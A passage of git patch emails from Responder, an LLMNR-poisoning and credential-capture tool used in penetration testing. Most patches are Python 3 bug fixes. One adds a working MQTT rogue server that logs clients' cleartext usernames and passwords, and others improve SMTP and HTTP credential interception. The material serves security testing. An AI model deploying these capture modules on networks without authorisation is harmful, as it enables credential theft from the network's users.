support IPv6 either. --- poisoners/LLMNR.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 6021b2d..3724f51 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -41,7 +41,7 @@ def IsICMPRedirectPlausible(IP): elif ip[0] == 'nameserver': dnsip.extend(ip[1:]) for x in dnsip: - if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False: + if x != "127.0.0.1" and IsIPv6IP(x) is False and IsOnTheSameSubnet(x,IP) is False: #Temp fix to ignore IPv6 DNS addresses print(color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)) print(color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)) print(color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)) From 8e12d2bcfe11cc23e35ea678b9e4979856183d0e Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 22 May 2023 20:32:45 -0300 Subject: [PATCH 052/114] Removed Patreon link --- README.md | 4 ---- 1 file changed, 4 deletions(-) diff --git a/README.md b/README.md index 7689c42..7ee2a49 100755 --- a/README.md +++ b/README.md @@ -176,10 +176,6 @@ Paypal: https://paypal.me/PythonResponder -Patreon: - -https://www.patreon.com/PythonResponder - ## Acknowledgments ## From a21b36605ce8c4c5ad214761e5da76e6aa816188 Mon Sep 17 00:00:00 2001 From: Ziga P <4499571+NullByteZero@users.noreply.github.com> Date: Mon, 5 Jun 2023 20:19:44 +0200 Subject: [PATCH 053/114] Implemented MQTT support --- Responder.conf | 1 + Responder.py | 4 + packets.py | 18 +++++ servers/MQTT.py | 205 ++++++++++++++++++++++++++++++++++++++++++++++++ settings.py | 2 + utils.py | 1 + 6 files changed, 231 insertions(+) create mode 100644 servers/MQTT.py diff --git a/Responder.conf b/Responder.conf index bae25f9..c157acf 100755 --- a/Responder.conf +++ b/Responder.conf @@ -16,6 +16,7 @@ LDAP = On DCERPC = On WINRM = On SNMP = Off +MQTT = On ; Custom challenge. ; Use "Random" for generating a random challenge for each requests (Default) diff --git a/Responder.py b/Responder.py index 6ef8862..2116864 100755 --- a/Responder.py +++ b/Responder.py @@ -351,6 +351,10 @@ def main(): threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 389, LDAP,))) threads.append(Thread(target=serve_thread_udp, args=('', 389, CLDAP,))) + if settings.Config.MQTT_On_Off: + from servers.MQTT import MQTT + threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 1883, MQTT,))) + if settings.Config.SMTP_On_Off: from servers.SMTP import ESMTP threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 25, ESMTP,))) diff --git a/packets.py b/packets.py index ecff5f7..270f7f8 100755 --- a/packets.py +++ b/packets.py @@ -800,6 +800,24 @@ class IMAPCapabilityEnd(Packet): ("CRLF", "\r\n"), ]) +##### MQTT Packets ##### +class MQTTv3v4ResponsePacket(Packet): + fields = OrderedDict([ + ("Type", "\x20"), + ("Len", "\x02"), + ("Session", "\x00"), + ("Code", "\x04"), + ]) + +class MQTTv5ResponsePacket(Packet): + fields = OrderedDict([ + ("Type", "\x20"), + ("Len", "\x03"), + ("Session", "\x00"), + ("Code", "\x86"), + ("Prop", "\x00"), + ]) + ##### POP3 Packets ##### class POPOKPacket(Packet): fields = OrderedDict([ diff --git a/servers/MQTT.py b/servers/MQTT.py new file mode 100644 index 0000000..f654664 --- /dev/null +++ b/servers/MQTT.py @@ -0,0 +1,205 @@ +#!/usr/bin/env python +# This file is part of Responder, a network take-over set of tools +# created and maintained by Laurent Gaffie. +# email: laurent.gaffie@gmail.com +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +from utils import settings, NetworkSendBufferPython2or3, SaveToDb + +if settings.Config.PY2OR3 == "PY3": + from socketserver import BaseRequestHandler +else: + from SocketServer import BaseRequestHandler + +from packets import MQTTv3v4ResponsePacket, MQTTv5ResponsePacket + +#Read N byte integer +def readInt(data, offset, numberOfBytes): + value = int.from_bytes(data[offset:offset+numberOfBytes], 'big') + offset += numberOfBytes + return (value, offset) + +#Read binary data +def readBinaryData(data, offset): + + #Read number of bytes + length, offset = readInt(data, offset, 2) + + #Read bytes + value = data[offset:offset+length] + offset += length + + return (value, offset) + +#Same as readBinaryData() but without reading data +def skipBinaryDataString(data, offset): + length, offset = readInt(data, offset, 2) + offset += length + return offset + +#Read UTF-8 encoded string +def readString(data, offset): + value, offset = readBinaryData(data, offset) + + return (value.decode('utf-8'), offset) + +#Read variable byte integer +#(https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901011) +def readVariableByteInteger(data, offset): + multiplier = 1 + value = 0 + while True: + encodedByte = data[offset] + offset += 1 + + value = (encodedByte & 127) * multiplier + + if (multiplier > 128 * 128 * 128): + return None + + multiplier *= 128 + + if(encodedByte & 128 == 0): + break + + return (value, offset) + +class MqttPacket: + + USERNAME_FLAG = 0x80 + PASSWORD_FLAG = 0x40 + WILL_FLAG = 0x04 + + def __init__(self, data): + self.__isValid = True + + controllPacketType, offset = readInt(data, 0, 1) + + #check if CONNECT packet type + if controllPacketType != 0x10: + self.__isValid = False + return + + #Remaining length + remainingLength, offset = readVariableByteInteger(data, offset) + + #Protocol name + protocolName, offset = readString(data, offset) + + #Check protocol name + if protocolName != "MQTT" and protocolName != "MQIsdp": + self.__isValid = False + return + + #Check protocol version + self.__protocolVersion, offset = readInt(data, offset, 1) + + #Read connect flag register + connectFlags, offset = readInt(data, offset, 1) + + #Read keep alive (skip) + offset += 2 + + #MQTTv5 implements properties + if self.__protocolVersion > 4: + + #Skip all properties + propertiesLength, offset = readVariableByteInteger(data, offset) + offset+=propertiesLength + + #Get Client ID + self.clientId, offset = readString(data, offset) + + if (self.clientId == ""): + self.clientId = "" + + #Skip Will + if (connectFlags & self.WILL_FLAG) > 0: + + #MQTT v5 implements properties + if self.__protocolVersion > 4: + willProperties, offset = readVariableByteInteger(data, offset) + + #Skip will properties + offset = skipBinaryDataString(data, offset) + offset = skipBinaryDataString(data, offset) + + #Get Username + if (connectFlags & self.USERNAME_FLAG) > 0: + self.username, offset = readString(data, offset) + else: + self.username = "" + + #Get Password + if (connectFlags & self.PASSWORD_FLAG) > 0: + self.password, offset = readString(data, offset) + else: + self.password = "" + + def isValid(self): + return self.__isValid + + def getProtocolVersion(self): + return self.__protocolVersion + + def data(self, client): + + return { + 'module': 'MQTT', + 'type': 'Cleartext', + 'client': client, + 'hostname': self.clientId, + 'user': self.username, + 'cleartext': self.password, + 'fullhash': self.username + ':' + self.password + } + +class MQTT(BaseRequestHandler): + def handle(self): + + CONTROL_PACKET_TYPE_CONNECT = 0x10 + + try: + data = self.request.recv(2048) + + #Read control packet type + controlPacketType, offset = readInt(data, 0, 1) + + #Skip non CONNECT packets + if controlPacketType != CONTROL_PACKET_TYPE_CONNECT: + return + + #Parse connect packet + packet = MqttPacket(data) + + #Skip if it contains invalid data + if not packet.isValid(): + #Return response + return + + #Send response packet + if packet.getProtocolVersion() < 5: + responsePacket = MQTTv3v4ResponsePacket() + else: + responsePacket = MQTTv5ResponsePacket() + + self.request.send(NetworkSendBufferPython2or3(responsePacket)) + + #Save to DB + SaveToDb(packet.data(self.client_address[0])) + + + except Exception: + raise + pass diff --git a/settings.py b/settings.py index 68429f1..90bacf8 100755 --- a/settings.py +++ b/settings.py @@ -125,6 +125,7 @@ class Settings: self.IMAP_On_Off = self.toBool(config.get('Responder Core', 'IMAP')) self.SMTP_On_Off = self.toBool(config.get('Responder Core', 'SMTP')) self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) + self.MQTT_On_Off = self.toBool(config.get('Responder Core', 'MQTT')) self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP')) self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) @@ -207,6 +208,7 @@ class Settings: self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt') self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt') self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt') + self.MQTTLog = os.path.join(self.LogDir, 'MQTT-Clear-Text-Password-%s.txt') self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') diff --git a/utils.py b/utils.py index 8b9175f..34e0c3f 100755 --- a/utils.py +++ b/utils.py @@ -506,6 +506,7 @@ def StartupMessage(): print(' %-27s' % "SMTP server" + (enabled if settings.Config.SMTP_On_Off else disabled)) print(' %-27s' % "DNS server" + (enabled if settings.Config.DNS_On_Off else disabled)) print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled)) + print(' %-27s' % "MQTT server" + (enabled if settings.Config.MQTT_On_Off else disabled)) print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled)) print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.DCERPC_On_Off else disabled)) print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled)) From 0c80b76f5758dfae86bf4924a49b29c31e2e77f8 Mon Sep 17 00:00:00 2001 From: deltronzero Date: Mon, 12 Jun 2023 07:50:01 -0700 Subject: [PATCH 054/114] fix typo of ServerTlype --- packets.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packets.py b/packets.py index ecff5f7..76b4317 100755 --- a/packets.py +++ b/packets.py @@ -497,7 +497,7 @@ class IIS_Basic_401_Ans(Packet): class WPADScript(Packet): fields = OrderedDict([ ("Code", "HTTP/1.1 200 OK\r\n"), - ("ServerTlype", "Server: Microsoft-IIS/7.5\r\n"), + ("ServerType", "Server: Microsoft-IIS/7.5\r\n"), ("Date", "Date: "+HTTPCurrentDate()+"\r\n"), ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), ("ContentLen", "Content-Length: "), From a205b580913c8caf06ecf921c5adddcd22046146 Mon Sep 17 00:00:00 2001 From: nobbd Date: Tue, 15 Aug 2023 15:08:42 +0200 Subject: [PATCH 055/114] Update SMB.py to fix single byte comparisons in python3 --- servers/SMB.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/servers/SMB.py b/servers/SMB.py index ff90aac..8507c33 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -200,7 +200,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP if not data: break - if data[0] == "\x81": #session request 139 + if data[0:1] == "\x81": #session request 139 Buffer = "\x82\x00\x00\x00" try: self.request.send(Buffer) @@ -335,7 +335,7 @@ class SMB1LM(BaseRequestHandler): # SMB Server class, old version self.request.settimeout(1) data = self.request.recv(1024) Challenge = RandomChallenge() - if data[0] == b"\x81": #session request 139 + if data[0:1] == b"\x81": #session request 139 Buffer = "\x82\x00\x00\x00" self.request.send(NetworkSendBufferPython2or3(Buffer)) data = self.request.recv(1024) From 728b100bfd842fc0c8a4193d9100f0510967c12c Mon Sep 17 00:00:00 2001 From: nobbd Date: Tue, 15 Aug 2023 15:15:23 +0200 Subject: [PATCH 056/114] Update MSSQL.py to fix bug with single byte comparisons in python3 --- servers/MSSQL.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/servers/MSSQL.py b/servers/MSSQL.py index ed2b440..ce53f12 100755 --- a/servers/MSSQL.py +++ b/servers/MSSQL.py @@ -168,9 +168,9 @@ class MSSQLBrowser(BaseRequestHandler): if data: if data[0] in b'\x02\x03': # CLNT_BCAST_EX / CLNT_UCAST_EX self.send_response(soc, "MSSQLSERVER") - elif data[0] == b'\x04': # CLNT_UCAST_INST + elif data[0:1] == b'\x04': # CLNT_UCAST_INST self.send_response(soc, data[1:].rstrip("\x00")) - elif data[0] == b'\x0F': # CLNT_UCAST_DAC + elif data[0:1] == b'\x0F': # CLNT_UCAST_DAC self.send_dac_response(soc) def send_response(self, soc, inst): From 63954a539c78c6fb779d7962a28a67d9e44179fd Mon Sep 17 00:00:00 2001 From: nobbd Date: Tue, 15 Aug 2023 15:18:55 +0200 Subject: [PATCH 057/114] Update RelayMultiCore.py to fix bug with single byte comparisons in python3 --- tools/MultiRelay/RelayMultiCore.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tools/MultiRelay/RelayMultiCore.py b/tools/MultiRelay/RelayMultiCore.py index d82856a..3c1fa2d 100644 --- a/tools/MultiRelay/RelayMultiCore.py +++ b/tools/MultiRelay/RelayMultiCore.py @@ -636,7 +636,7 @@ def MimiKatzRPC(Command, f, host, data, s): Output = ExtractRPCCommandOutput(data)[12:] while True: dataoffset = dataoffset + buffsize - if data[64:66] == b"\x05\x00" and data[67] == b"\x02":##Last DCE/RPC Frag + if data[64:66] == b"\x05\x00" and data[67:68] == b"\x02":##Last DCE/RPC Frag LastFragLen = struct.unpack(' Date: Tue, 15 Aug 2023 15:34:08 +0200 Subject: [PATCH 058/114] Update RunFinger.py to fix bug with single byte comparisons in python3 --- tools/RunFinger.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 7a9cd5f..bf9cadc 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -106,7 +106,7 @@ def ParseNegotiateSMB2Ans(data): def SMB2SigningMandatory(data): global SMB2signing - if data[70] == "\x03": + if data[70:71] == b"\x03": SMB2signing = "True" else: SMB2signing = "False" @@ -201,7 +201,7 @@ def IsDCVuln(t, host): ##################### def IsSigningEnabled(data): - if data[39] == "\x0f": + if data[39:40] == b"\x0f": return 'True' else: return 'False' @@ -364,7 +364,7 @@ def ConnectAndChoseSMB(host): return False def handle(data, host): - if data[28] == "\x00": + if data[28:29] == b"\x00": a = SMBv2Head() a.calculate() b = SMBv2Negotiate() @@ -373,7 +373,7 @@ def handle(data, host): buffer0 = longueur(packet0)+packet0 return buffer0 - if data[28] == "\x01": + if data[28:29] == b"\x01": global Bootime SMB2SigningMandatory(data) Bootime = IsDCVuln(GetBootTime(data[116:124]), host[0]) @@ -385,7 +385,7 @@ def handle(data, host): buffer0 = longueur(packet0)+packet0 return buffer0 - if data[28] == "\x02": + if data[28:29] == b"\x02": ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing) ################## From 4ec2631ab0aa6ab90cd14f05a0ad77154c755ced Mon Sep 17 00:00:00 2001 From: nobbd Date: Tue, 15 Aug 2023 15:36:10 +0200 Subject: [PATCH 059/114] Update Finger.py to fix bug with single byte comparisons in python3 --- tools/SMBFinger/Finger.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/tools/SMBFinger/Finger.py b/tools/SMBFinger/Finger.py index 04c139a..5de42db 100755 --- a/tools/SMBFinger/Finger.py +++ b/tools/SMBFinger/Finger.py @@ -152,7 +152,7 @@ def color(txt, code = 1, modifier = 0): return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) def IsSigningEnabled(data): - if data[39] == "\x0f": + if data[39:40] == b"\x0f": return True else: return False From b61a640747f38f0a264dd6d5fc7c73e2967f932a Mon Sep 17 00:00:00 2001 From: nobbd Date: Tue, 15 Aug 2023 15:50:53 +0200 Subject: [PATCH 060/114] Update SMB.py --- servers/SMB.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/servers/SMB.py b/servers/SMB.py index 8507c33..bac9c18 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -178,7 +178,7 @@ def IsNT4ClearTxt(data, client): WordCount = data[HeadLen] ChainedCmdOffset = data[HeadLen+1] - if ChainedCmdOffset == "\x75": + if ChainedCmdOffset == "\x75" or ChainedCmdOffset == 117: PassLen = struct.unpack(' 2: From 6063c2f77a56f23af9e461cf382dcb4444b14bd3 Mon Sep 17 00:00:00 2001 From: nobbd Date: Tue, 15 Aug 2023 16:03:30 +0200 Subject: [PATCH 061/114] Update SMB.py --- servers/SMB.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/servers/SMB.py b/servers/SMB.py index bac9c18..d6920aa 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -200,7 +200,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP if not data: break - if data[0:1] == "\x81": #session request 139 + if data[0:1] == b"\x81": #session request 139 Buffer = "\x82\x00\x00\x00" try: self.request.send(Buffer) From 2b37d5763a468a019611c283b336551584e43dc5 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Thu, 21 Sep 2023 20:14:59 +0200 Subject: [PATCH 062/114] Upgrading netifaces requirement --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index 7cba2cd..7823774 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1 +1 @@ -netifaces==0.10.4 +netifaces>=0.10.4 From 3a23ccdef80a4462f7c80f5f5ab6e4a399905c2c Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Thu, 21 Sep 2023 20:18:13 +0200 Subject: [PATCH 063/114] Upgrading collections import --- tools/SMBFinger/odict.py | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/tools/SMBFinger/odict.py b/tools/SMBFinger/odict.py index 107cb01..ed3aa88 100644 --- a/tools/SMBFinger/odict.py +++ b/tools/SMBFinger/odict.py @@ -3,7 +3,11 @@ try: from UserDict import DictMixin except ImportError: from collections import UserDict - from collections import MutableMapping as DictMixin + # https://stackoverflow.com/questions/70870041/cannot-import-name-mutablemapping-from-collections + if sys.version_info[:2] >= (3, 8): + from collections.abc import MutableMapping + else: + from collections import MutableMapping class OrderedDict(dict, DictMixin): From 2c4cadbf7dec6e26ec2494a0cfde38655f5bebaf Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Fri, 22 Sep 2023 00:43:25 +0200 Subject: [PATCH 064/114] Fixing import issue like in /tools/odict.py --- tools/SMBFinger/odict.py | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/tools/SMBFinger/odict.py b/tools/SMBFinger/odict.py index ed3aa88..ca11f01 100644 --- a/tools/SMBFinger/odict.py +++ b/tools/SMBFinger/odict.py @@ -3,11 +3,10 @@ try: from UserDict import DictMixin except ImportError: from collections import UserDict - # https://stackoverflow.com/questions/70870041/cannot-import-name-mutablemapping-from-collections - if sys.version_info[:2] >= (3, 8): - from collections.abc import MutableMapping - else: - from collections import MutableMapping + try: + from collections import MutableMapping as DictMixin + except ImportError: + from collections.abc import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): From aa8d81861bcdfc3dbf253b617ec044fd4807e9d4 Mon Sep 17 00:00:00 2001 From: Shutdown <40902872+ShutdownRepo@users.noreply.github.com> Date: Fri, 22 Sep 2023 00:43:58 +0200 Subject: [PATCH 065/114] Fixing collections import issue for /tools/MultiRelay/odict.py --- tools/MultiRelay/odict.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/tools/MultiRelay/odict.py b/tools/MultiRelay/odict.py index 107cb01..ca11f01 100644 --- a/tools/MultiRelay/odict.py +++ b/tools/MultiRelay/odict.py @@ -3,7 +3,10 @@ try: from UserDict import DictMixin except ImportError: from collections import UserDict - from collections import MutableMapping as DictMixin + try: + from collections import MutableMapping as DictMixin + except ImportError: + from collections.abc import MutableMapping as DictMixin class OrderedDict(dict, DictMixin): From 34603aed0aadfe3c3625ea729cbc9dc0f06e7e73 Mon Sep 17 00:00:00 2001 From: Syntricks <61319973+syntricks@users.noreply.github.com> Date: Thu, 12 Oct 2023 00:51:19 +0300 Subject: [PATCH 066/114] Fixing soft failure which results in missed SMTP credential interception Without this responder silently fails. During debugging I observed [[[can only concatenate str (not "bytes") to str]]] error. Enabling decoding of bytes made the error disappear and credentials properly intercepted (on-screen stdout, logs and to DB). Thank you for a very useful tool :) --- servers/SMTP.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/servers/SMTP.py b/servers/SMTP.py index 0dc5bd0..17fa26f 100644 --- a/servers/SMTP.py +++ b/servers/SMTP.py @@ -65,7 +65,7 @@ class ESMTP(BaseRequestHandler): data = self.request.recv(1024) if data: - try: Password = b64decode(data) + try: Password = b64decode(data).decode('latin-1') except: Password = data SaveToDb({ From dc33d1f858e9bbc58ae8edf030dbfee208d748f1 Mon Sep 17 00:00:00 2001 From: exploide Date: Thu, 9 Nov 2023 18:14:36 +0100 Subject: [PATCH 067/114] fixed HTTP basic auth parsing when password contains colons fixes #255 --- servers/HTTP.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) mode change 100755 => 100644 servers/HTTP.py diff --git a/servers/HTTP.py b/servers/HTTP.py old mode 100755 new mode 100644 index 6afafce..91acf3f --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -224,8 +224,8 @@ def PacketSequence(data, client, Challenge): 'module': 'HTTP', 'type': 'Basic', 'client': client, - 'user': ClearText_Auth.decode('latin-1').split(':')[0], - 'cleartext': ClearText_Auth.decode('latin-1').split(':')[1], + 'user': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[0], + 'cleartext': ClearText_Auth.decode('latin-1').split(':', maxsplit=1)[1], }) if settings.Config.Force_WPAD_Auth and WPAD_Custom: From 90ff1d37a748618b6dbb71446518b15e5715f89e Mon Sep 17 00:00:00 2001 From: exploide Date: Thu, 9 Nov 2023 18:18:43 +0100 Subject: [PATCH 068/114] gitignore: ignore pyc and certificate files --- .gitignore | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/.gitignore b/.gitignore index 4f18a99..238411b 100644 --- a/.gitignore +++ b/.gitignore @@ -1,5 +1,11 @@ +# Python artifacts +*.pyc + # Responder logs *.db *.txt *.log +# Generated certificates and keys +certs/*.crt +certs/*.key From cb042d16a27657f33f7193892178fc47266f5b16 Mon Sep 17 00:00:00 2001 From: brightio Date: Mon, 13 Nov 2023 20:39:29 +0100 Subject: [PATCH 069/114] Handle FTP exceptions properly --- servers/FTP.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/servers/FTP.py b/servers/FTP.py index b60b3d9..d1ffac0 100755 --- a/servers/FTP.py +++ b/servers/FTP.py @@ -55,5 +55,5 @@ class FTP(BaseRequestHandler): data = self.request.recv(1024) except Exception: - raise + self.request.close() pass From f6d1e6027ad1a88c07290ebec01170cf159f2675 Mon Sep 17 00:00:00 2001 From: brightio Date: Mon, 13 Nov 2023 20:46:46 +0100 Subject: [PATCH 070/114] Handle MQTT exceptions properly --- servers/MQTT.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/servers/MQTT.py b/servers/MQTT.py index f654664..1f870e2 100644 --- a/servers/MQTT.py +++ b/servers/MQTT.py @@ -201,5 +201,5 @@ class MQTT(BaseRequestHandler): except Exception: - raise + self.request.close() pass From 6a7643746426943ebd1228557f2b4a35fc4cecdc Mon Sep 17 00:00:00 2001 From: brightio Date: Mon, 13 Nov 2023 20:49:01 +0100 Subject: [PATCH 071/114] Handle WinRM exceptions properly --- servers/WinRM.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/servers/WinRM.py b/servers/WinRM.py index 25305f1..dda1355 100644 --- a/servers/WinRM.py +++ b/servers/WinRM.py @@ -175,6 +175,6 @@ class WinRM(BaseRequestHandler): self.request.send(NetworkSendBufferPython2or3(Buffer)) except: - raise + self.request.close() pass From 2f1b81b02436950b1ea75e8023a9be14f8f50e89 Mon Sep 17 00:00:00 2001 From: lgandx Date: Wed, 6 Dec 2023 18:44:35 -0300 Subject: [PATCH 072/114] minor fix --- packets.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/packets.py b/packets.py index fe60e42..e8503f5 100755 --- a/packets.py +++ b/packets.py @@ -1719,9 +1719,9 @@ class SMB2NegoAns(Packet): ("NegTokenTag0ASNLen", "\x3c"), ("NegThisMechASNId", "\x30"), ("NegThisMechASNLen", "\x3a"), - ("NegThisMech1ASNId", "\x06"), - ("NegThisMech1ASNLen", "\x0a"), - ("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"), + #("NegThisMech1ASNId", "\x06"), + #("NegThisMech1ASNLen", "\x0a"), + #("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"), ("NegThisMech2ASNId", "\x06"), ("NegThisMech2ASNLen", "\x09"), ("NegThisMech2ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"), @@ -1750,14 +1750,14 @@ class SMB2NegoAns(Packet): StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"]) - SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) + SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) - AsnLenStart = 